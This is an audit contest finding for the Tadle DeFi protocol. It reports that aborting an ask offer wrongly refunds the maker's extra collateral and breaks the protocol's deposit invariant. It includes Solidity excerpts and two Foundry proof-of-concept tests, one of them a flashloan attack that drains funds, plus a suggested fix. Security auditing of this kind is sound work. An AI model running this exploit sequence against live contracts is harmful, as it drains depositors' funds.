Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

Aborted ask offer returns the extra collateral to the maker that leads to breaking a main invariant of the protocol

Summary

When a maker aborts her ask offer, the refunded amount to the maker includes the extra collateral (based on collateral rate). While, since the maker is aborting and is not keeping her promise to give points to the takers, it is expected that maker's extra collateral should be locked as punishment and be added to the balance of the taker. This is not implemented properly.

This miscalculation leads to some critical issues:

  • If taker closes his bid order after the maker aborts, the total withdrawable collateral amount from the protocol would be higher than total deposited collateral amount into the protocol. This breaks the main invariant of the protocol.

  • The maker by aborting her offer does not lose anything, so there is no incentive for ask-makers to keep their promises. While one of the main role of collateral rate is that if the ask maker is not keeping her promise, they will lose depositedAmount * collateralRate.

The flow of bug is:

  • Maker creates an ask offer createOffer

  • Taker places a bid order createTaker

  • Maker aborts her offer abortAskOffer (bug happens here)

  • Taker closes his bid order closeBidTaker

Please note that this bug may seem similar to another finding with title Aborted bid-taker will not fully receive the collateral from the aborted ask-maker, but the root cause and impacts are different.

Vulnerability Details

  • Suppose Alice(maker) creates a turbo ask offer to buy 1000 points for $1 with collateral rate of 12000 (equivalent to 120%). So, Alice deposits $1.2 into the protocol. She does so by calling createOffer.

  • Then, Bob(taker) places a bid order against Alice's offer to sell 1000 points to her, so he deposits $1. He does so by calling createTaker. Now we have:

userTokenBalanceMap[Alice][USDC][TokenBalanceType.SalesRevenue] = $1
  • Then Alice for any reason aborts her offer by calling abortAskOffer. Since the used points is 1000 (Bob already placed an order to buy 1000 points from Alice, so Alice's offer used points is 1000), she is refunded only $0.2, because transferAmount = $1.2andtotalUsedAmount = \$1\.

uint256 remainingAmount;
if (offerInfo.offerStatus == OfferStatus.Virgin) {
remainingAmount = offerInfo.amount;
} else {
remainingAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
}
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
remainingAmount,
true,
Math.Rounding.Floor
);
uint256 totalUsedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Ceil
);
uint256 totalDepositAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
totalUsedAmount,
false,
Math.Rounding.Ceil
);
///@dev update refund amount for offer authority
uint256 makerRefundAmount;
if (transferAmount > totalDepositAmount) {
makerRefundAmount = transferAmount - totalDepositAmount;
} else {
makerRefundAmount = 0;
}
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
makerRefundAmount
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L584-L629

So we will have:

userTokenBalanceMap[Alice][USDC][TokenBalanceType.MakerRefund] = $0.2

It shows that so far Alice received in total $1.2 into her balance as SalesRevenue and MakerRefund. This is an issue because Alice is aborting her offer and she is not keeping her promise to give points to Bob, so $0.2 from her collateral should be locked as punishment and be transferred to Bob.

  • Then, if Bob calls the function closeBidTaker to get his fund back, he will receive $1.2 as RemainingCash into his balance. Because, when Alice's offer is aborted, it is tagged as settled, but her settled points is zero, while her offer's used points is 1000. Thus, all Alice's collateral which is equal to $1.2 will be dedicated to Bob.

uint256 collateralFee;
if (offerInfo.usedPoints > offerInfo.settledPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
}
uint256 userCollateralFee = collateralFee.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
userCollateralFee
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L185

So we sill have:

userTokenBalanceMap[Bob][USDC][TokenBalanceType.RemainingCash] = $1.2

Summary:

Now, let's view it from top:

  • Alice, when creating an ask offer, deposits $1.2 into the protocol. So, the balance of protocol is now $1.2.

  • Then Bob places an order against Alice's offer and deposits $1 into the protocol. So, the total balance of protocol is now 1 + 1.2 = $2.2.

  • So, the total deposited amount into the protocol is $2.2, while total withdrawable from the protocol is Alice's SalesRevenue + Alice's MakerRefund + Bob's RemainingCash = 1 + 0.2 + 1.2 = $2.4.

  • So, $0.2 is miscalculation. This is breaking the main invariants of the protocol.

PoC1 (normal scenario)

In the following test Alice creates a turbo ask offer to sell 1000 points for $1 with collateral rate 12000 (equivalent to 120%), and Bob places a bid order to buy all those 1000 points.
Later, Alice aborts her offer by calling abortAskOffer, and then Bob calls closeBidTaker. The output shows that total withdrawable is $2.4 while total deposited amount is $2.205 ($0.005 is as platform fee paid by the taker).

Logs:
Bob balance of USDC in the protocol as RemainingCash: 1200000000000000000
Alice balance of USDC in the protocol as SalesRevenue: 1000000000000000000
Alice balance of USDC in the protocol as MakerRefund: 200000000000000000
protocol USDC deposited amount: 2205000000000000000
function test_aborting() public {
address Alice = vm.addr(10); // maker
address Bob = vm.addr(11); // taker
uint protocolUSDCBalanceBefore = mockUSDCToken.balanceOf(
address(capitalPool)
);
////// Alice(maker) creates an ask offer
vm.startPrank(Alice);
deal(address(mockUSDCToken), Alice, 1.2 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(Alice);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
0,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
////////////////
///// Bob (taker) creates a bid order
vm.startPrank(Bob);
deal(address(mockUSDCToken), Bob, type(uint256).max);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
/////////////
////// Alice aborts her offer
vm.startPrank(Alice);
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offerAddr);
vm.stopPrank();
/////////////
//////// Bob closes his bid order
vm.startPrank(Bob);
address stock1Addr = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stock1Addr);
vm.stopPrank();
/////////////
console.log(
"Bob balance of USDC in the protocol as RemainingCash: ",
tokenManager.userTokenBalanceMap(
address(Bob),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
)
);
console.log(
"Alice balance of USDC in the protocol as SalesRevenue: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
)
);
console.log(
"Alice balance of USDC in the protocol as MakerRefund: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
)
);
uint protocolUSDCBalanceAfter = mockUSDCToken.balanceOf(
address(capitalPool)
);
console.log(
"protocol USDC deposited amount: ",
protocolUSDCBalanceAfter - protocolUSDCBalanceBefore
);
}

The output is:

Logs:
Bob balance of USDC in the protocol as RemainingCash: 1200000000000000000
Alice balance of USDC in the protocol as SalesRevenue: 1000000000000000000
Alice balance of USDC in the protocol as MakerRefund: 200000000000000000
protocol USDC deposited amount: 2205000000000000000

PoC2 (Flashloan attack)

In the following test, it is assumed that CapitalPoo has $10M.

  • An attacker takes $4M flashloan of USDC.

  • Then, he creates an ask offer to buy 1 point for $1M with collateral rate 20000 (equivalent to 200%).

  • Then, he places a bid order to buy that 1 point.

  • Then, he aborts his ask offer.

  • Then, he closes his bid order.

  • Then, he withdraws from the protocol.

  • Then, he repays the flashloan.

The output shows that the attacker takes $4M flashloan, and in total he deposits $3.05M into the protocol, while he withdraws $4M. So, he gains $995K.

The output is:

Logs:
Attacker balance of USDC in the protocol as RemainingCash: 2000000000000000000000000
Attacker balance of USDC in the protocol as SalesRevenue: 1000000000000000000000000
Attacker balance of USDC in the protocol as MakerRefund: 1000000000000000000000000
protocol USDC loss: 995000000000000000000000
attacker USDC gain: 995000000000000000000000
function test_flashloan() public {
deal(
address(mockUSDCToken),
address(capitalPool),
10_000_000 * 10 ** 18
);
capitalPool.approve(address(mockUSDCToken));
address Attacker = vm.addr(10);
uint flashloanAmount = 4_000_000 * 10 ** 18;
uint protocolUSDCBalanceBefore = mockUSDCToken.balanceOf(
address(capitalPool)
);
uint attackerUSDCBalanceBefore = mockUSDCToken.balanceOf(
address(Attacker)
);
////// Alice(maker) creates an ask offer
vm.startPrank(Attacker);
// taking a flashloan
deal(address(mockUSDCToken), Attacker, flashloanAmount);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
// creating an ask offer
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1,
1_000_000 * 1e18,
20000, // 100%
0,
OfferType.Ask,
OfferSettleType.Turbo
)
);
// placing a bid order
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1);
// aborting the ask offer
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offerAddr);
// closing the bid order
address stock1Addr = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stock1Addr);
console.log(
"Attacker balance of USDC in the protocol as RemainingCash: ",
tokenManager.userTokenBalanceMap(
address(Attacker),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
)
);
console.log(
"Attacker balance of USDC in the protocol as SalesRevenue: ",
tokenManager.userTokenBalanceMap(
address(Attacker),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
)
);
console.log(
"Attacker balance of USDC in the protocol as MakerRefund: ",
tokenManager.userTokenBalanceMap(
address(Attacker),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
)
);
// attacker withdraws all the income include:
// RemainingCash
// SalesRevenue
// MakerRefund
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.RemainingCash
);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
uint protocolUSDCBalanceAfter = mockUSDCToken.balanceOf(
address(capitalPool)
);
uint attackerUSDCBalanceAfter = mockUSDCToken.balanceOf(
address(Attacker)
);
console.log(
"protocol USDC loss: ",
protocolUSDCBalanceBefore - protocolUSDCBalanceAfter
);
console.log(
"attacker USDC gain: ",
attackerUSDCBalanceAfter -
attackerUSDCBalanceBefore -
flashloanAmount
);
vm.stopPrank();
////////////////
}

Impact

  • Breaking the main invariant of the protocol as the total deposited collateral amount would be lower than total withdrawable collateral amount.

  • The ask makers will not be incentivized to keep their promises.

  • Draining the protocol.

Tools Used

Recommendations

uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
remainingAmount,
false, // here is modified
Math.Rounding.Floor
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L599

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-abortAskOffer-isMaker-false

Valid high severity, the `totalDepositAmount` of collateral computed from the amount of point used (posted to transact) should use the same isMaker flag as when computing the original collateral deposited by maker, if not, the amount available for withdrawal during abortion will be overestimated

Appeal created

fyamf Submitter
10 months ago
0xbrivan2 Auditor
10 months ago
0xnevi Lead Judge
9 months ago
0xnevi Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-closeBidTaker-lack-check-abort-status-drain

Valid high, for unsettled ask offers by the original maker, the initial remaining maker collateral is already refunded as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L624-L629)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.